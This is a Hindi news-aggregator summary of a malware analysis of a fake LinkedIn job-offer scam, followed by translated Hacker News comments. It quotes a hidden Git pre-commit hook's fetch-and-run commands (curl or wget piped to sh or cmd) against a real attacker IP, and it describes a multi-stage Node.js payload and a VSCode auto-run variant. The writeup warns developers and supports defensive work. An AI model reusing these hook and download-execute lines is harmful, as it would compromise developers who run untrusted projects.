2 पॉइंट द्वारा GN⁺ 2 시간 전 | 1 टिप्पणियां | WhatsApp पर शेयर करें
  • LinkedIn पर हर महीने $10,000~15,000 की remote Python developer नौकरी का ऑफर देने वाले नकली recruiter ने एक ZIP फ़ाइल भेजी, जो सामान्य FastAPI असाइनमेंट के रूप में छिपी हुई थी, और Git workflow के दौरान malware इंस्टॉल होने के लिए सेट की गई थी
  • repository की .git/hooks में एक pre-commit hook छिपा था, जो ऑपरेटिंग सिस्टम के अनुसार remote payload को चुपचाप चलाता था, और असाइनमेंट PDF में दिए गए Git task उम्मीदवार से इसे चलवाने का तरीका थे
  • Linux payload ~/Documents में second-stage script डाउनलोड करता है, उसे nohup से चलाता है, फिर Node.js, dependencies और obfuscated parser.js इंस्टॉल करके background में चलाता है
  • request में id=402 मान बदलने पर अलग script लौटती थी, और package.json में clipboard access के लिए clipboardy और Ethereum development environment hardhat जैसी चीज़ें शामिल थीं, लेकिन अंतिम मकसद की पुष्टि नहीं हो सकी
  • हमलावर ने सार्वजनिक FastAPI repository में सिर्फ malicious directory जोड़कर इस्तेमाल किया था, और दूसरे variant में VSCode में folder खोलते ही command चल जाती थी। बाहरी project को संभालने से पहले hidden directories और auto-run settings की जांच करनी चाहिए

जरूरत से ज़्यादा अच्छा job offer

  • LinkedIn पर आया Python developer job offer हर महीने $10,000~15,000 देने वाला remote-first contract role था, जिसे बाद में full-time में बदला जाना था
  • बातचीत शुरू होने से पहले ही इतनी ऊंची तनख्वाह बताई गई, और भारत के हिसाब से यह बहुत बड़ी रकम थी, जो पहला warning sign था
  • hiring में इस्तेमाल की गई company एक Y Combinator startup निकली, लेकिन इतनी budget वाली कंपनी के पास आम तौर पर ज्यादा व्यवस्थित hiring process होना चाहिए, इसलिए संदेह बना रहा
  • resume भेजते ही तुरंत approval मिल गया, और Google Drive के जरिए ZIP archive और असाइनमेंट निर्देशों वाला PDF मिला
  • PDF में मौजूदा codebase सुधारने, architecture सुझाव देने और Git task करने को कहा गया था, इसलिए ऊपर से यह एक सामान्य evaluation document जैसा लग रहा था

FastAPI project में छिपा Git hook

  • compressed file में SQLAlchemy इस्तेमाल करने वाला एक साधारण FastAPI backend था, और requirements.txt में भी typosquatting या साफ़ तौर पर malicious package नहीं मिला
  • hidden items देखने के लिए tree -a चलाया गया तो .git/hooks के नीचे कई Git hooks पहले से configured मिले
  • pre-commit script uname -s से ऑपरेटिंग सिस्टम पहचानकर उसी server से platform-specific payload डाउनलोड और execute करती थी
    • macOS पर curl .../task/mac?id=402 | sh चलाया जाता था
    • Linux पर wget .../task/linux?id=402 | sh चलाया जाता था
    • Windows सिस्टम पर curl .../task/windows?id=402 | cmd चलाया जाता था
  • सारा output /dev/null में भेजा जाता था और process को background में चलाया जाता था, ताकि execution के निशान उपयोगकर्ता से छिपे रहें
  • domain की जगह सीधे 45.61.164.38:5777 raw IP address इस्तेमाल किया गया था, जिससे malicious behavior और ज्यादा साफ़ दिख रहा था

Linux पर multi-stage payload

  • पहला Linux script ~/Documents में tokenlinux.npl डाउनलोड करता है, उसका नाम tokenlinux.sh रखता है और उसे execute permission देता है
  • इसके बाद nohup bash से script को background में चलाया जाता है, ताकि terminal बंद होने या logout के बाद भी process चलती रहे
  • second-stage script चुपचाप ये काम करती है
    • Node.js इंस्टॉल करना और system path configure करना
    • parser.js और package.json डाउनलोड करना
    • जरूरी npm dependencies इंस्टॉल करना
    • parser.js को nohup node से चलाना और logs को parser.log में लिखना
  • parser.js इतनी ज़्यादा obfuscated थी कि उसका manual analysis करना मुश्किल था, और मूल फ़ाइल parser.js पर सुरक्षित रखी गई है

प्रति-पीड़ित पहचान की संभावना

  • endpoint पर बार-बार id=402 parameter भेजा जा रहा था, और यह मान बदलने पर पूरी तरह अलग script लौट रही थी
  • संभव है कि हमलावर हर उम्मीदवार को एक unique identifier देकर customized payload दे रहा हो, लेकिन tracking का वास्तविक तरीका पुष्टि नहीं हो सका
  • deobfuscation के लिए कई LLMs में code डाला गया, लेकिन नतीजे अलग-अलग रहे
    • Claude ने safety restrictions के कारण analysis से इनकार कर दिया
    • Gemini ने script analysis का परिणाम दिया
  • tokenlinux.npl नाम के मूल extension को खोजने पर पता चला कि यह एक बड़े attack campaign से जुड़ा हुआ था

संदिग्ध Node.js dependencies

  • package.json में project name tokendapp था और उसमें hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request आदि शामिल थे
  • background setup task में clipboard access के लिए clipboardy और file-system से जुड़े package क्यों चाहिए, यह साफ़ नहीं था
  • hardhat एक Ethereum development environment है, लेकिन Ethereum के proof-of-work से हटने के बाद इसे सामान्य mining setup मान लेना सही नहीं होगा
  • cryptocurrency wallet खोजने या local browser extensions के साथ interact करने की संभावना भी देखी गई, लेकिन अंतिम malicious उद्देश्य की पुष्टि नहीं हो सकी

VSCode इस्तेमाल करने वाला दूसरा variant

  • इसी attack के दूसरे variant में ZIP फ़ाइल के अंदर .vscode folder छिपाया गया था, और directory को VSCode में खोलते ही command चलने के लिए सेट किया गया था
  • इस तरीके में Git command या project code को सीधे चलाने की भी ज़रूरत नहीं थी; सिर्फ folder खोलने से infection हो सकता था
  • यह भी पुष्टि हुई कि कोई specific company सीधे attack में शामिल नहीं थी, बल्कि हमलावर ने मिली हुई company का नाम उधार लेकर job offer को वैध दिखाया

सार्वजनिक repository का दोबारा इस्तेमाल कर छलावा

  • git log में साफ़ दिखा कि यह हमलावर का बनाया हुआ project नहीं था, बल्कि पुराने developers की commit history जस की तस मौजूद थी
  • मूल source सार्वजनिक repository personal-finance-service थी
  • हमलावर ने सामान्य FastAPI project को clone किया और उसमें सिर्फ malicious hidden directories जोड़कर उसे असाइनमेंट codebase के रूप में छिपाया
  • अगर कोई सिर्फ सामान्य code और साफ़ requirements.txt देखे, तो malicious behavior छूट सकता था

attack server की जांच और सीमाएं

  • Nmap से attack server scan करने पर 3 ports खुले मिले, जिनमें से 2 version detection का जवाब नहीं दे रहे थे
  • port 22 पर Ubuntu का OpenSSH 9.6p1 चल रहा था
  • scan के समय यह version जारी हुए लगभग एक हफ्ता ही हुआ था, इसलिए कोई उपयोगी ज्ञात CVE नहीं मिला और server के अंदर तक जांच बढ़ाना मुश्किल रहा
  • malware distribution का तरीका भले ही नज़र आने लायक था, लेकिन server operation security अपेक्षाकृत ठीक-ठाक रखी गई थी, और यहीं ट्रैकिंग रुक गई

Git task की असली भूमिका

  • असाइनमेंट PDF में दिया गया Git task उम्मीदवार से कम-से-कम एक बार Git command चलवाने का तरीका था, ताकि preinstalled hook trigger हो जाए
  • नकली recruiter ने attack के पकड़ में आने की सूचना मिलने के तुरंत बाद अपना LinkedIn account शायद हटा दिया
  • किसी अनजान project को चलाने या Git command देने से पहले tree -a जैसे tools से .git, .vscode जैसी hidden directories और auto-run settings की जांच करनी चाहिए

1 टिप्पणियां

 
GN⁺ 2 시간 전
Hacker News की राय
  • यह लेख पढ़ने के बाद ही समझ आया कि मुझे कहीं ज़्यादा परिष्कृत तरीके से हैक किया गया था
    कुछ हफ्ते पहले एक वास्तविक कंपनी के CTO के साथ इंटरव्यू किया था। कैमरा बंद था और लहजा भी काफ़ी भारी था, लेकिन बातचीत स्वाभाविक लगी और वह तकनीक अच्छी तरह जानता हुआ लगा। टेक्निकल इंटरव्यू में कहा गया कि कंपनी के open source project में बदलाव करना है, इसलिए repository clone करके development environment चेक करने को कहा गया
    बाद में HR ने कहा कि CTO की बीमारी के कारण इंटरव्यू टल गया, और कुछ दिनों बाद उस HR का LinkedIn profile भी हट गया। यह लेख देखने के बाद जाँच की तो पता चला कि इंटरव्यू के दौरान clone करके चलाए गए repository में malware payload था
    शायद इसलिए निशाना बनाया गया क्योंकि मैं पहले 4.3 करोड़ से अधिक साप्ताहिक downloads वाले NPM package को maintain कर चुका था। सभी accounts पर 2FA लगा रखा था और NPM package भी बिना token के manually deploy करता था, फिर भी laptop को reset करके सब कुछ दोबारा install करना पड़ेगा

    • शेड्यूल देखकर पता चला कि यह Calendly पर बुक किया गया 45 मिनट का इंटरव्यू था, और HR द्वारा भेजे गए लिंक से CTO का रूप धरने वाले व्यक्ति से सच में 45 मिनट बात हुई
      ऐसे मिलते-जुलते HN posts खोजे, लेकिन scammer के साथ Google Meet call तक होने वाला मामला नहीं मिला
    • किसी random project को ज्यों का त्यों clone करने के अनुरोध को मैं मना कर देता हूँ। मैं Rails developer हूँ, इसलिए पूरी application का skeleton कुछ ही मिनटों में बना सकता हूँ; बस requirements दे दें, मैं शुरू से अंत तक खुद implement कर दूँगा
      अगर कंपनी गंभीर है तो वह इस पर विचार करेगी, और अगर मना करती है तो समझिए जोखिम टल गया। अब जब code generation में LLM का इतना व्यापक उपयोग हो रहा है, तो मुझे लगता है यह किसी भी tech stack में संभव होना चाहिए
    • ऐसे माहौल में container में isolated VS Code की ज़रूरत लगती है
    • यह अजीब है कि मैं भी उन्हीं social media platforms का इस्तेमाल करता हूँ जिन पर ऐसे लोग होते हैं जिन्हें targeted attack मिल सकता है। मेरे जैसे आम आदमी के पास तो सिर्फ “free spin” या “मरता हुआ German अरबपति” जैसी ठगी आती है, और सबसे यादगार email subject था, “तुम्हारी vagina खराब कर देने के लिए माफ़ करना”
  • हाल में developers को निशाना बनाने वाले North Korea से जुड़े हमले बढ़ते दिख रहे हैं। कई सालों से चल रही इन तरकीबों के अलावा, “आपका profile देखा, क्या साथ काम करना चाहेंगे?” जैसे emails भी North Korean hackers से हफ्ते में लगभग एक बार मिलते हैं
    programming Discord communities में भी जुड़ने के कुछ ही दिनों के भीतर नौकरी या collaboration माँगने वाले accounts बहुत दिखते हैं। वे सचमुच job seekers भी हो सकते हैं, लेकिन messages की संख्या और समानता संदिग्ध है; और जब वे लगभग निष्क्रिय niche Python library communities तक पहुँच रहे हैं, तो लगता है वे Discord community lists scrape करके अंधाधुंध संपर्क कर रहे हैं
    आपसी भरोसे का दुरुपयोग करने वाले हमले बढ़ गए हैं, इसलिए माता-पिता की पुरानी सीख — इंटरनेट पर अजनबियों पर भरोसा मत करो — फिर ज़रूरी हो गई है

    • अब LLM से स्वाभाविक शुरुआती बातचीत बन जाती है, इसलिए पहले की तरह bots को तुरंत छाँटना भी मुश्किल हो गया है
  • पीड़ित का operating system पहचानने के बाद remote payload चुपके से चलाने की यह तरकीब बार-बार दिख रही है, और पिछले महीने भी ऐसा ही एक पोस्ट front page पर आया था
    https://news.ycombinator.com/item?id=48546294

    • मूल पोस्ट में भी यह बात साफ़ कही गई है और वही बात दिखाने वाले Google search results का लिंक दिया गया है
  • raw IP address malware जैसा प्रभाव ज़रूर देता है, लेकिन hook की contents तक देखने जितना गहराई से जाँचने वाला पीड़ित वहाँ शक करना बंद नहीं करेगा। ज़्यादातर developers शायद यह नहीं सोचते होंगे कि git commit malicious behavior चला सकता है, इसलिए जिज्ञासा है कि क्या यह Git की security weakness है

    • सिर्फ repository clone करने से Git hooks अपने-आप active नहीं होते। लेकिन इस मामले में clone नहीं बल्कि download किया गया project था, इसलिए स्थिति अलग है
    • कोई भी tool हो, बिना review किए download किए गए code को चलाना आजकल अपने-आप में जोखिम है
  • आखिर में बस यही रह गया कि तरह-तरह की safety guardrails के कारण Claude सहायक के रूप में बिल्कुल बेकार था

  • raw IP का इस्तेमाल शायद इसलिए किया गया हो कि domain registrar के पास पहचान संबंधी जानकारी न छोड़नी पड़े, या online footprint कम से कम रहे

    • शायद इसी वजह से raw IP address अक्सर संदिग्ध गतिविधियों से जुड़ा दिखता है
    • यह भी संभव है कि वे hosts खुद malware से संक्रमित हों और इस समय proxy के रूप में दुरुपयोग हो रही systems हों
  • ज़्यादातर screenshots सीधे नहीं खुल रहे थे, उन्हें नए tab में देखना पड़ा
    यह scam काफ़ी चालाक है, इसलिए शायद बहुत से job seekers पहले ही फँस चुके होंगे, और लेख में दिखाया गया Visual Studio Code project तो और भी ख़तरनाक लगता है। अगर सिर्फ project खोलने भर से user code चल सकता है, तो यह साफ़ malware path है और इसके लिए security mitigation चाहिए
    hiring sites की प्रतिक्रिया भी कमज़ोर है। अगर कोई कंपनी या संस्था से जुड़े होने का दावा करे, तो employment verification माँगनी चाहिए; और unverified accounts के messages पर सिर्फ बड़ा warning दिखा दिया जाए, तब भी बहुत-सी ठगी मुश्किल हो जाएगी। अभी तो कोई भी मनमानी कंपनी experience या educational background का दावा कर सकता है

    • लगता है Microsoft, documents खोलते ही auto-run होने वाले Word·Excel macro malware का इतिहास भूल गया है
    • सभी images GitHub Pages पर host की गई हैं, इसलिए शायद अलग CDN इस्तेमाल करना चाहिए
  • Hacker News के front page पर असली hacking से जुड़ा पोस्ट देखना अच्छा लगा

    • Hacker News में hacker का मतलब कुछ और होता है
      http://www.catb.org/jargon/html/H/hacker.html
      मतलब ऐसा व्यक्ति जो programmable systems की बारीक संरचना और सीमाओं को समझने-परखने में रुचि रखता हो, और खासकर computers और networks के अंदरूनी कामकाज को गहराई से समझने में आनंद लेता हो। साथ ही, यह ऐसे व्यक्ति के लिए भी कहा जाता है जो सिर्फ सिद्धांत तक सीमित न रहकर जोश के साथ, कभी-कभी ज़िद की हद तक, programming करता हो
  • अगर LinkedIn सच में fraud prevention को गंभीरता से लेता है, तो मौजूदा नौकरी दर्ज करते समय company email verification दे सकता है। अगर इसे अनिवार्य बनाना भारी लगे, तो कम-से-कम वैधता दिखाना चाहने वाले recruiters को वैकल्पिक verification की सुविधा दे सकता है

    • LinkedIn ने 2023 में यह feature पहले ही जोड़ दिया था(https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). लेकिन वास्तव में email verification करने वाले लोग कम हैं, इसलिए verification न होने का मतलब ज़रूरी नहीं कि profile नकली ही हो
    • मैं और मेरे दोस्तों ने कई सालों तक fake profiles के ज़रिए recruiters और कंपनियों को लुभाकर यह समझा कि कौन-सी roles खुली हैं और वे किस तरह के candidates ढूँढ रहे हैं। JavaScript frameworks की बाढ़ के समय असली कंपनियों·recruiters और scammers में फ़र्क करने में यह खास तौर पर उपयोगी था
      अब भी AI hiring market और LLM·automation की माँग को देखते हुए ऐसा ही कुछ चल रहा होगा
  • ऐसे हमले आगे और आम होते जाएँगे। हमलावरों ने बहुत गहराई से रिसर्च की थी और तरीका बेहद नीच था, लेकिन तकनीकी पूर्णता मानने लायक थी, और असली success rate भी काफ़ी ऊँची रही होगी

    • अंदर झाँकने की प्रक्रिया CTF problem जैसी मज़ेदार थी। अगर attacker server में भी कोई vulnerability होती तो और दिलचस्प होता
    • उनकी तकनीक शायद बस LLM से उधार ली गई हो